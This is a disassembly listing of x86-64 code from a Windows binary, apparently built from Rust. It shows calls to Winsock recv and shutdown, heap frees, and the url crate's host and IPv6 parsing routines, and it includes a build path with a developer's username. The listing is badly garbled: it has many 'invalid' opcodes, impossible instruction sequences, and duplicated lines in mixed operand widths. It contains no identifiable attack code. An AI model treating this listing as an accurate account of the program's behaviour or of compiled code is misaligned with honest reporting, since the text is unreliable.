cmp al, 0xff
push qword [rax - 0xca16f2]
xor eax, 0xb0ffffff
and ecx, ebp
invalid
push qword [rax - 0xd116df]
invalid
push qword [rax - 0xd816f5]
invalid
push qword [rax - 0xdf16fc]
push qword [rax - 0xe616d8]
push qword [rax - 0xed16f4]
push qword [rax - 0xf416f7]
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rcx, str.called__Option::unwrap____on_a__None__value
or ecx, dword [rdi]
add eax, 0x58d4c00
add byte [rax - 0x73], cl
lea ecx, [rbp - 0x58]
add byte [rax], al
add byte [rax], al
invalid
adc byte [rax - 0x75], cl
invalid
adc al, ch
mov eax, dword [rbp]
sub byte [rbx + 0x5f], bl
pop rbp
int3
int3
int3
push rsi
and al, 0x70
jb case.0x1401537db.227
invalid
jg 0x14016c589
jg case.0x14014e6ee.484
cmovb edi, eax
invalid
sbb byte [rax - 0x75], cl
jb case.0x14014f054.440
invalid
mov dword [rbp - 0x28], esi
lea ecx, [rbp - 0x48]
mov eax, dword [rbp - 0x38]
sar dword [r11 + rax], 0xf
mov ebp, dword [rbp - 0x48]
add cl, byte [rdi]
add r8, qword [r8]
add eax, dword [rax]
add byte [rdi], cl
mov ecx, esp
rol byte [rbp - 0x77], 1
clc
mov eax, edi
adc eax, 0x22da4
movsb byte [rdi], byte [rsi]
sub eax, 0xf8830002
add al, byte [rax]
invalid
clc
add al, byte [rax]
clc
dec dword [rdi]
test edx, edi
cli
cli
add al, byte [rax]
add bh, bh
adc eax, 0x22d4d
shl ecx, 0x20
or ecx, 2
clc
shr eax, 0x9f
lahf
add bh, dh
invalid
or eax, 0x85484b75
test rsi, rsi
div byte [rsi + rax*2 + 0x48]
mov rcx, qword [rsi]
mov ecx, dword [rsi]
mov edx, dword [rsi + 8]
push rsi
or al, dh
inc qword [rdx]
mov ss, word [rcx]
add eax, dword [rax]
invalid
adc dword [rbx], eax
add byte [rax], al
add ecx, 0x10
adc byte [rbx + rcx*4 + 0x46], cl
adc byte [rdi + rcx - 0x4a], al
invalid
invalid
invalid
movzx ecx, byte [rsi + 0x18]
mov dh, 0x4e
sbb al, ch
test eax, eax
clc
clc
cmovne eax, eax
mov ebx, eax
ret
or byte [rax], al
add eax, ecx
nop
mov eax, dword [rbp - 8]
mov ebx, eax
jrcxz 0x14016c62d
invalid
or byte [rax], al
add eax, ecx
adc bl, bpl
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx + 0xf], al
mov dh, 0x40
por mm5, qword [rbx]
jmp 0x14016c682
sub esp, dword [rsi + 0xf]
invalid
mov edi, eax
test esi, esi
mov fs, word [rdx]
add eax, dword [rax]
add byte [rax], al
invalid
invalid
rcl dword [rax], 0x4c
xor ebp, edi
and ecx, dword [rcx - 0x75]
nop word cs:[rax + rax]
sub ecx, ebp
or edi, edi
add ecx, ebp
add bh, bh
add ch, cl
sti
invalid
add ebp, ecx
hlt
add al, 0xe9
in eax, dx
invalid
add eax, 0xfffee6e9
push qword [rax - 0x12016fa]
mov al, 6
invalid
invalid
invalid
invalid
invalid
invalid
invalid
or cl, ch
sar esi, 1
or ecx, ebp
retf 0xfffe
invalid
or ch, cl
ret
or ebp, ecx
mov esp, 0xb0fffffe
invalid
invalid
invalid
or al, 0xe9
mov ch, 0xfe
or eax, 0xfffeaee9
push qword [rax - 0x15816f2]
mov al, 0xe
invalid
cmpsd dword [rsi], dword [rdi]
invalid
invalid
invalid
psubsw mm4, qword [rax - 0x4f000002]
adc cl, ch
cdq
invalid
adc ecx, ebp
xchg edx, eax
invalid
adc ch, cl
mov edi, esi
adc ebp, ecx
test dh, bh
adc al, 0xe9
jge 0x14016ccb1
adc eax, 0xfffe76e9
push qword [rax - 0x19016ea]
mov al, reloc.WS2_32.dll_shutdown
invalid
outsd dx, dword [rsi]
invalid
invalid
sbb cl, ch
invalid
sbb ecx, ebp
pop rdx
invalid
push qword [rax - 0x1ac16e6]
sbb ch, cl
push rbx
invalid
push qword [rax - 0x1b316e5]
sbb ebp, ecx
invalid
push qword [rax - 0x1ba16e4]
sbb al, 0xe9
invalid
push qword [rax - 0x1c116e3]
sbb eax, 0xfffe3ee9
push qword [rax - 0x1c816e2]
invalid
push qword [rax - 0x1cf16e1]
invalid
push qword [rax - 0x1d616e0]
and cl, ch
sub esi, edi
push qword [rax - 0x1dd16df]
and ecx, ebp
and bh, dh
push qword [rax - 0x1e416de]
and ch, cl
sbb edi, esi
push qword [rax - 0x1eb16dd]
and ebp, ecx
adc al, 0xfe
push qword [rax - 0x1f216dc]
and al, 0xe9
or eax, 0xb0fffffe
invalid
invalid
invalid
push qword [rax - 0x1f916db]
and eax, 0xfffe06e9
push qword [rax - 0x20016da]
invalid
jmp 0x14016cb32
push qword [rax - 0x20716d9]
invalid
invalid
push qword [rax - 0x20e16d8]
sub cl, ch
int1
std
invalid
dec dword [rax - 0x75]
clc
add byte [rdx], al
add byte [rax], al
add bl, ch
xor al, 0x48
mov rax, qword [rbp - 8]
add dword [rax], eax
add byte [rax], al
or bl, ch
and ecx, dword [rbx - 0x74b727bb]
mov ecx, dword [rbp - 8]
mov ecx, dword [rbp - 8]
add byte [rax], al
add byte [rax - 0x77], cl
or r11b, bpl
cmovs ecx, dword [rbx - 0x38b707bb]
mov dword [rax], 1
mov qword [rax + 8], r8
movaps xmm6, xmmword [rbp + 0x10]
mov dword [rax], 1
mov dword [rax + 8], eax
lea ecx, str.called__Option::unwrap____on_a__None__value
lea eax, [0x1401c4998]
sub eax, dword [rax]
add byte [rax], al
add dword [rax], eax
or ecx, dword [rdi]
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
in al, dx
lea rbp, [rdx + 0x80]
add byte [rax], al
in al, dx
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x30], xmm6
mov rcx, qword [rbp]
call fcn.140060d30
out dx, eax
dec dword [rdi]
sub byte [rsp + 0x30], dh
out dx, eax
dec dword [rdi]
sub byte [rsp + 0x30], dh
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x30], esi
and al, 0x30
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x30], esi
and al, 0x30
and al, 0x30
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
mov edx, dword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.140005270
jmp 0x18da21738
add al, ch
adc ebp, eax
jmp 0x14016ce3e
movaps xmm6, xmmword [rsp + 0x30]
and al, 0x30
jmp 0x18da21738
adc ebp, eax
jmp 0x14016ce3e
dec dword [rdi]
sub byte [rsp + 0x30], dh
and al, 0x30
and al, 0x30
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
int3
int3
sub byte [rax - 0x77], cl
invalid
xor byte [rax - 0xa], al
mov dword [rcx], 0x8b480b74
mov rax, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x28]
sub bh, bh
mov rax, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x28]
sub bh, bh
push rax
invalid
sub bh, bh
push rax
sbb byte [rax - 0xa], al
invalid
test dil, 8
jne 0x14016ce8b
or byte [rbp + 7], dh
add rsp, 0x28
pop rdi
pop rsi
ret
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
add rsp, 0x28
sub byte [rdi + 0x5e], bl
sub byte [rdi + 0x5e], bl
jmp qword [rax + 0x18]
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
mov dword [rbp - 8], 0xfffffffe
mov r8, qword [rcx]
test r8, r8
je 0x14016cf11
push rdi
push rdi
mov qword [rbp - 0x10], rcx
mov rax, qword [r8 + 0x30]
xor byte [rsi + 0x66], spl
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
xor byte [rsi + 0x66], spl
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
mov rdx, rax
or rdx, 4
retf 0xf004
cmpxchg qword [r8 + 0x30], rdx
xor byte [rbp - 0xf], dh
retf 0xf004
xor byte [rbp - 0xf], dh
and eax, 0xa
cmp eax, 8
clc
or byte [rbp + 0xb], dh
clc
or byte [rbp + 0xb], dh
mov rax, qword [r8 + 0x10]
mov rcx, qword [r8 + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
invalid
adc byte [rcx - 0x75], cl
sbb dil, dil
push rax
adc byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
add dword [rax - 0x7b], ecx
invalid
je 0x14016cf11
add dword [rax - 0x7b], ecx
sal byte [rbx + rdx - 0x10], 0x48
dec qword [rax]
lock dec qword [rax]
dec qword [rax]
jne 0x14016cf11
mov rcx, qword [rcx]
add rsp, 0x30
pop rbp
jmp fcn.140045bf0
invalid
mov ebp, gs
invalid
or dword [rax - 0x7d], ecx
invalid
fisttp word [rbp + rbp*8 - 0x7cb76f01]
nop
add rsp, 0x30
invalid
xor byte [rbp - 0x3d], bl
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
call fcn.14006d440
nop
add rsp, 0x20
pop rbp
ret
adc bh, bh
push rax
adc bl, ch
mov ch, 0x31
xor eax, eax
mov qword [rbp - 8], rax
xor eax, eax
mov qword [rbp - 8], rax
nop word cs:[rax + rax]
invalid
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
cmp rax, qword [rbp - 0x10]
je 0x14016d607
invalid
invalid
cmp eax, 0x1488d48
lea rcx, [rax + 1]
mov qword [rbp - 8], rcx
mov rcx, qword [rbp - 0x18]
call 0x1012b6122
call 0x1012b6122
mov rcx, 0xffffffffffffffc0
lock xadd qword [rdx], rcx
xadd dword [rdx], ecx
sar bh, 0xff
push rax
xadd qword [rdx], rcx
xadd dword [rdx], ecx
xadd dword [rdx], ecx
cmp rcx, 0x3f
jbe 0x14016d651
and rcx, 0xffffffffffffffc0
cmp rcx, 0x40
cmp ecx, 0x40
cmp ecx, 0x40
jne 0x14016d5c0
mov rcx, qword [rbp - 0x18]
mov rcx, qword [rcx + rax*8]
call 0x101236146
mov rax, qword [rcx + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14016d5c0
adc bh, bh
push rax
adc bl, ch
mov ecx, 0xd8458b48
mov rax, qword [rbp - 0x28]
cmp qword [rax + 8], 0
je 0x14016d62d
invalid
mov r8, qword [rax]
mov rcx, qword [0x14023c258]
xor edx, edx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
sti
sbb dword [rdx], eax
invalid
sti
sbb dword [rdx], eax
add byte [rax + 0x58c48348], dl
add esp, 0x58
nop
add rsp, 0x58
add esp, 0x58
add esp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
add byte [rbp + rcx*4 + 5], cl
pop rbx
pop qword [0x1403e9048]
add byte [rax], al
invalid
add byte [rax], al
add al, ch
and dword [rbp + 0x18eb0001], edx
add dword [rax], eax
jmp 0x14016d669
call fcn.140186b70
add dword [rax], eax
jmp 0x14016d669
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401c65a0]
lea eax, [0x1401c65a0]
pop qword [0x145a4225b]
pop qword [0x1403e9062]
mov edx, 0x27
lea eax, [0x1401c65a0]
mov edx, 0x27
add byte [rax], al
add al, ch
call fcn.140186b70
invalid
ud2
add byte [rax], r8b
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
mov rsi, qword [rbp - 0x30]
mov rbx, qword [rbp - 8]
cmp rbx, rsi
mov rdi, qword [rbp - 0x20]
je 0x14016d6a3
invalid
adc dword [rax - 0x73], ecx
or al, 0xdf
lea rcx, [rdi + rbx*8]
call fcn.140097f60
inc rbx
cmp rbx, rsi
jne 0x14016d692
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
sub esp, 0x58
lea rbp, [rsp + 0x50]
push rax
mov qword [rbp], 0xfffffffffffffffe
cmp dword [rdx + 0xa8], 0x3b9aca00
add byte [rax], al
retf 0x3b9a
je case.0x140168b2a.344
or eax, dword [rbx]
add byte [rax], al
invalid
add byte [rax], al
retf 0x3b9a
or eax, dword [rbx]
add byte [rax], al
mov ebx, r9d
mov r14, r8
mov rsi, rdx
mov rdi, rcx
mov edi, ecx
mov edi, ecx
lea rax, [rdx + 0x58]
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
mov dword [rbp - 0x10], eax
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdx + 0x58], cl
jne 0x14016da5f
scasd eax, dword [rdi]
add al, byte [rax]
invalid
scasd eax, dword [rdi]
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x86
movzx eax, byte [rsi + 0x98]
test al, al
jne 0x14016da77
invalid
invalid
add al, byte [rax]
invalid
cwde
add byte [rax], al
add byte [rax + rax*8 + 0x2b8850f], al
invalid
invalid
add al, byte [rax]
invalid
test dword [rax + 0x48000002], edi
lea edx, [rsi + 0x60]
push rsi
invalid
push rsi
invalid
lea ecx, [rbp - 0x30]
add byte [rbx + rcx*4 + 0x7d], cl
ror byte [rbx + rcx*4 + 0x6d], 1
insd dword [rdi], dx
insd dword [rdi], dx
call 0x142145b25
mov eax, ebp
test edi, edi
mov dword [rsi + 0x90], eax
leave
rol dword [rcx], 0
add dword [rax], eax
ret
add byte [rax], al
mov esp, dword [rsi + 0xa8]
cmpsb byte [rsi], byte [rdi]
test al, 0
inc dword [rax]
add al, ch
invalid
dec dword [rax - 0x77]
ror byte [r9 + 0x45c6d855], 1
fadd st(6)
inc dword [r8]
mov dword [rbp - 0x30], eax
add byte [rax - 0x73], cl
lea ecx, [rbp - 0x30]
ror byte [r9 + rcx*4 - 6], 1
ror byte [rcx + rcx*4 - 6], 1
cli
imul ecx, ecx, 0x431bde83
xor al, byte [rbp + 0x31]
rol byte [rcx - 0x6535ff06], 0x3b
cli
add dl, cl
invalid
invalid
retf 0x3b9a
cmove eax, eax
rol byte [rcx + 0xf], 0x44
enter 0xffffffffffffe8ba, 3
call 0x18816d86a
mul edx
loop 0x14016d8b2
add ecx, eax
ror dword [rax - 0x7d], 0xd2
add byte [rax - 0x39], cl
invalid
invalid
rol byte [rax], cl
sar ch, 0xff
dec dword [rax + 0xf]
ror dword [rcx + 0x29], 0xc5
sub ebp, eax
call 0x188ff61d2
mov eax, ebp
call 0x143ff99d1
call 0x10fd0208f
not dword [rbx - 0x1d]
invalid
mov ecx, 0xe353f7cf
jrcxz 0x14016d835
and byte [rax - 9], cl
loope 0x14016d8e0
invalid
ror byte [rcx - 0x3f], 1
call 0x1088019a4
add al, 0x41
invalid
invalid
add al, 0x41
imul ecx, eax, 0x3e8
enter 0x3e8, 0
invalid
enter 0x3e8, 0
call 0x18416d8a8
add byte [rcx + rcx*4 - 0x18], al
call 0xc160a0d4
cmp ebp, 0x3e7
test rax, rax
xor byte [rdx], al
add byte [rax - 0x75], cl
rdtsc
sar byte [rax + 2], cl
mov eax, 2
add al, byte [rax]
add byte [rax], al
invalid
mov cl, 0x51
add byte [rcx - 0x6535ff05], al
cmp esi, dword [rbp + 0x61]
add dl, cl
retf 0x3b9a
jg 0x14016d910
xor byte [rdx], al
add cl, byte [rdi]
test dword [rcx + 0x48000000], esi
mov ecx, dword [rdi]
invalid
rcl dword [rax], 0xc6
inc dword [r8]
inc dword [rax]
enter 0x4240, 0xf
add byte [rcx - 0x6535ff05], al
add dl, cl
invalid
invalid
cmp ecx, ebx
invalid
mov rcx, qword [rbp - 0x10]
cmp eax, 2
push rdi
ror byte [rdi], 0x11
call 0x17c2c8fc1
add rax, 0x4d8d4800
shr al, 1
sub esp, dword [rdi + 1]
add byte [rdi], cl
or esi, dword [rcx - 0xf3fceff]
cmpxchg byte [rsi + 0x20], cl
invalid
invalid
and byte [rbp + 0x26], r14b
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
adc byte [rbp + 0x56], dl
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
cmp byte [rbp - 1], 0
jne case.0x140119330.1281
lea rcx, [rbp - 0x20]
call fcn.140097f60
loopne 0x140170ad4
jo 0x140170b62
bnd call qword [rax + 0x28c48348]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
pop rdi
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
or byte [r8 - 0x73], cl
or al, 0
test edx, edx
je 0x140170d18
mov qword [rbp - 0x30], rcx
mov rax, qword [rsi + 0x40]
xchg qword [rax + 0x20], rdx
test rdx, rdx
je 0x140170cf2
mov qword [rbp - 0x18], rdx
lea rcx, [rdx + 0x40]
call fcn.14016d4e0
enter 0xffffffffffffffff, 0x48
mov eax, dword [rbp - 0x18]
invalid
enter 0xffffffffffffffff, 0x48
mov eax, dword [rbp - 0x18]
invalid
call 0x1b4194558
or dword [rax - 0x75], ecx
call 0x12fe15ec6
dec dword [rax - 0x75]
or eax, 0xcb572
cmp dword [rax], 2
je 0x140170cdf
mov rcx, qword [rbp - 0x18]
call fcn.14006d730
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsi + 0x40]
mov rax, qword [rsi]
nop dword [rax]
test al, 1
jne 0x140170d1c
mov rcx, rax
and rcx, 0xfffffffffffffffc
or rcx, 2
lock cmpxchg qword [rsi], rcx
jne 0x140170d00
jmp 0x140170d8f
xor eax, eax
jmp 0x140170d99
lea rdi, [rsi + 8]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 8], cl
je 0x140170d33
mov rcx, rdi
call fcn.140189d90
mov qword [rbp - 0x18], rdi
mov r8, qword [rsi]
lea rcx, [rsi + 0x10]
mov rdx, rsi
call fcn.140170ef0
mov qword [rbp - 0x28], rdx
mov r8, rax
xor edx, edx
mov al, 1
mov rcx, qword [rbp - 0x18]
lock cmpxchg byte [rcx], dl
sete al
test r8, r8
je 0x140170d86
mov qword [rcx], rax
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
jmp 0x140171618
mov rax, qword [rbp]
mov rcx, qword [rbp + 8]
cmp rax, rcx
je 0x140171657
lea rcx, [rax + 8]
mov qword [rbp], rcx
mov rcx, qword [rax]
mov ecx, dword [rax]
mov ecx, dword [rax]
mov qword [rbp - 0x30], rcx
lock or qword [rcx + 0x90], rsi
sub rcx, 0xffffffffffffff80
mov edx, 0x2f
call fcn.1401677e0
mov rax, qword [rbp - 0x30]
lock dec qword [rax]
jne 0x140171610
mov rcx, qword [rbp - 0x30]
call fcn.140045c80
jmp 0x140171610
mov byte [rbp + 0x17], 0
lea rcx, [rbp - 0x10]
call fcn.140171d80
movaps xmm6, xmmword [rbp + 0x20]
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140177dbc
cmp byte [rbp + 0x24], 0
je 0x140177dbc
mov rdx, qword [rbp - 0x40]
call fcn.1400422e0
shr al, 0x24
movsd dword [rdi], dword [rsi]
in al, dx
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea r8, [rsp + 0x48]
call fcn.1400141d0
nop
add rsp, 0x78
ret
jmp fcn.140013e80
ror dword [rax + 0xf], 0xbd
sal byte [rcx + rax], 0xf
mov dh, 0xc0
cmp eax, 0x40468b48
add byte [rax], al
add byte [rax], al
out 0, eax
add byte [rdi], cl
or ecx, dword [rax - 0x73]
add eax, 0x4801c
add byte [rax], al
or dword [rbx + 4], 0
lea rdx, fcn.140019ef0
mov rcx, qword [rbp - 8]
call fcn.1400422e0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
add dword [rax], eax
add byte [rax - 0x3f], cl
out 4, eax
rol byte [rax], 0
add byte [rax], al
nop
add byte [rax], al
add byte [rax + 0x3b], cl
jge 0x140179ff8
ror byte [rbx + rcx*4 - 0x7b], cl
loopne 0x140179fad
add byte [rax], al
test byte [rbx + 0x48000002], bh
lea edx, [rbx - 1]
add esi, ecx
jmp 0x14017a6e3
mov rax, rsi
add rsp, 0x38
pop rdi
pop rsi
ret
add dword [rbp - 0x73], ecx
push rcx
inc dword [rcx - 0x45]
add dword [rax], eax
add byte [rax], al
xor edx, edx
nop word [rax + rax]
cmp r9, r11
je 0x14017a9a0
movzx ebx, byte [rcx + r11]
and bl, 0xf8
inc r11
cmp bl, 0x30
je 0x14017a770
jmp 0x14017a9b5
movzx edi, byte [rcx + r11]
inc r11
lea ebx, [rdi - 0x30]
cmp bl, 9
sti
or dword [rsi + 0x1a], esi
sti
or dword [rsi + 0x1a], esi
movzx edi, dil
add edi, 0xffffffbf
cmp edi, 0x25
ja 0x14017a9b5
bt rsi, rdi
jae 0x14017a9b5
cmp r9, r11
jne 0x14017a7d0
mov r11d, reloc.WS2_32.dll_recv
add byte [rax], al
mov sil, 1
xor edx, edx
test r10, r10
jne 0x14017a82d
jmp 0x14017a9b3
mov ebx, 0xa
xor esi, esi
mov r10, r9
mov r8, rcx
xor edx, edx
test r10, r10
je 0x14017a9b3
movzx eax, byte [r8]
cmp eax, 0x2d
je 0x14017a858
cmp eax, 0x2b
jne 0x14017a867
mov eax, 0
dec r10
je 0x14017a9b5
inc r8
jmp 0x14017a867
mov eax, 0
cmp r10, 1
je 0x14017a9b5
cmp r10, 9
jae 0x14017a8cf
xor ecx, ecx
test sil, sil
je 0x14017a93b
mov r9d, 0xffffffff
xor edx, edx
jmp 0x14017a8a7
invalid
imul edx, r11d
add edx, esi
inc rcx
mov eax, 1
cmp r10, rcx
je 0x14017a9b5
movzx eax, byte [r8 + rcx]
lea esi, [rax - 0x30]
cmp esi, 0xa
jb case.0x1401207b8.1336
or eax, 0x20
add eax, 0xffffff9f
add eax, 0xa
cmovb eax, r9d
mov esi, eax
cmp eax, r11d
jb case.0x1401207b8.1336
xor edx, edx
jmp 0x14017a9b3
shr cl, cl
in al, 0
add byte [rax], al
xor r9d, r9d
test sil, sil
je 0x14017a966
mov esi, 0xffffffff
xor ecx, ecx
nop word cs:[rax + rax]
cmp r10, r9
je 0x14017a9be
movzx edi, byte [r8 + r9]
mov eax, ecx
mul r11d
seto bl
lea ebp, [rdi - 0x30]
mov ecx, eax
cmp ebp, 0xa
jb 0x14017a923
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
cmovb edi, esi
mov ebp, edi
cmp edi, r11d
jae 0x14017a8c8
xor edx, edx
test bl, bl
jne 0x14017a9b3
inc r9
mov eax, 0
add ecx, ebp
jae 0x14017a8f0
jmp 0x14017a9b5
xor edx, edx
nop dword [rax]
movzx eax, byte [r8 + rcx]
add eax, 0xffffffd0
cmp eax, r11d
jae 0x14017a8c8
imul edx, r11d
add edx, eax
inc rcx
mov eax, 1
cmp r10, rcx
jne 0x14017a940
jmp 0x14017a9b5
xor ecx, ecx
nop dword [rax + rax]
cmp r10, r9
je 0x14017a9be
movzx esi, byte [r8 + r9]
mov eax, ecx
mul r11d
seto bl
add esi, 0xffffffd0
xor edx, edx
cmp esi, r11d
jae 0x14017a9b3
test bl, bl
jne 0x14017a9b3
mov ecx, eax
inc r9
mov eax, 0
add ecx, esi
jae 0x14017a970
jmp 0x14017a9b5
mov r11d, 8
xor esi, esi
xor edx, edx
test r10, r10
jne 0x14017a82d
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov eax, 1
mov edx, ecx
jmp 0x14017a9b5
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rdx, r9
call fcn.1401870e0
ud2
and byte [rcx - 0x7d], cl
clc
add dh, byte [rdx + 0x2d]
cmp byte [rdx], 0x3a
jne 0x14017aa5b
cmp byte [rdx + 1], 0x3a
jne case.0x14014c89f.1919
mov eax, 1
mov r11d, 2
mov r9d, 1
cmp r11, r8
cmp ebx, eax
cmp ebx, eax
jb 0x14017aa6b
mov r10, rax
cmp r11, r8
jae 0x14017ab71
mov word [rcx], 0x401
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
xor r11d, r11d
xor eax, eax
mov r9d, 1
cmp r11, r8
jae 0x14017aa3d
mov esi, 0xffffffff
mov r10, rax
ret 0x6666
nop word cs:[rax + rax]
ret 0x6666
cmp rax, 8
je case.0x14014c89f.1919
cmp byte [rdx + r11], 0x3a
je 0x14017ab4b
lea r14, [r11 + 4]
cmp r8, r14
cmp eax, esi
cmp eax, esi
cmovb r14, r8
xor edi, edi
mov rbx, r11
cmp r11, r14
jb 0x14017aabd
jmp 0x14017aaf0
shl edi, 4
or edi, ebp
inc rbx
cmp r14, rbx
je 0x14017ab20
movzx r15d, byte [rdx + rbx]
lea ebp, [r15 - 0x30]
cmp ebp, 0xa
jb 0x14017aab0
or r15d, 0x20
add r15d, 0xffffff9f
add r15d, 0xa
cmovb r15d, esi
mov ebp, r15d
cmp r15d, 0xf
jbe 0x14017aab0
nop word cs:[rax + rax]
cmp rbx, r8
jae 0x14017ab28
movzx ebp, byte [rdx + rbx]
cmp ebp, 0x3a
jne 0x14017ad2f
inc rbx
mov r11, rbx
cmp rbx, r8
jne 0x14017ab2b
jmp case.0x14014c89f.1919
mov rbx, r14
cmp rbx, r8
jb 0x14017aaf5
mov r11, rbx
cmp rax, 7
ja 0x14017ae57
mov word [rsp + rax*2 + 0x20], di
inc rax
cmp r11, r8
jb 0x14017aa80
jmp 0x14017aa40
test r10, r10
jne case.0x14014c89f.1919
inc r11
inc rax
mov r10d, 1
mov r9, rax
cmp r11, r8
jb 0x14017aa80
jmp 0x14017ae32
test r10, r10
je 0x14017ae28
mov rdx, rax
sub rdx, r9
je 0x14017ae32
lea r8, [rax - 1]
cmp r8, 8
jae 0x14017ae6d
movzx r8d, word [rsp + 0x2e]
movzx r10d, word [rsp + rax*2 + 0x1e]
mov word [rsp + 0x2e], r10w
mov word [rsp + rax*2 + 0x1e], r8w
mov rax, rdx
dec rax
je 0x14017ae32
dec r9
add rax, r9
cmp rax, 7
ja 0x14017ae74
movzx r8d, word [rsp + 0x2c]
movzx r10d, word [rsp + rax*2 + 0x20]
mov word [rsp + 0x2c], r10w
mov word [rsp + rax*2 + 0x20], r8w
mov rax, rdx
add rax, 0xfffffffffffffffe
je 0x14017ae32
add rax, r9
cmp rax, 7
ja 0x14017ae74
movzx r8d, word [rsp + 0x2a]
movzx r10d, word [rsp + rax*2 + 0x20]
mov word [rsp + 0x2a], r10w
mov word [rsp + rax*2 + 0x20], r8w
mov rax, rdx
add rax, 0xfffffffffffffffd
je 0x14017ae32
add rax, r9
cmp rax, 7
ja 0x14017ae74
movzx r8d, word [rsp + 0x28]
movzx r10d, word [rsp + rax*2 + 0x20]
mov word [rsp + 0x28], r10w
mov word [rsp + rax*2 + 0x20], r8w
mov rax, rdx
add rax, 0xfffffffffffffffc
je 0x14017ae32
add rax, r9
cmp rax, 7
ja 0x14017ae74
movzx r8d, word [rsp + 0x26]
movzx r10d, word [rsp + rax*2 + 0x20]
mov word [rsp + 0x26], r10w
mov word [rsp + rax*2 + 0x20], r8w
mov rax, rdx
add rax, 0xfffffffffffffffb
je 0x14017ae32
add rax, r9
cmp rax, 7
ja 0x14017ae74
movzx r8d, word [rsp + 0x24]
movzx r10d, word [rsp + rax*2 + 0x20]
mov word [rsp + 0x24], r10w
mov word [rsp + rax*2 + 0x20], r8w
mov rax, rdx
add rax, 0xfffffffffffffffa
je 0x14017ae32
add rax, r9
cmp rax, 7
ja 0x14017ae74
movzx r8d, word [rsp + 0x22]
movzx r10d, word [rsp + rax*2 + 0x20]
mov word [rsp + 0x22], r10w
mov word [rsp + rax*2 + 0x20], r8w
mov rax, rdx
add rax, 0xfffffffffffffff9
je 0x14017ae32
add r9, rax
cmp r9, 7
ja 0x14017aea0
movzx eax, word [rsp + 0x20]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x20], r8w
mov word [rsp + r9*2 + 0x20], ax
cmp rdx, 8
je 0x14017ae32
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 8
mov rcx, 0xffffffffffffffff
call fcn.140186a70
ud2
cmp ebp, 0x2e
jne case.0x14014c89f.1919
cmp rbx, r11
je case.0x14014c89f.1919
cmp rax, 6
ja case.0x14014c89f.1919
cmp r11, r8
jae case.0x14014c89f.1919
xor esi, esi
test esi, esi
jle 0x14017ad71
cmp esi, 4
jae case.0x14014c89f.1919
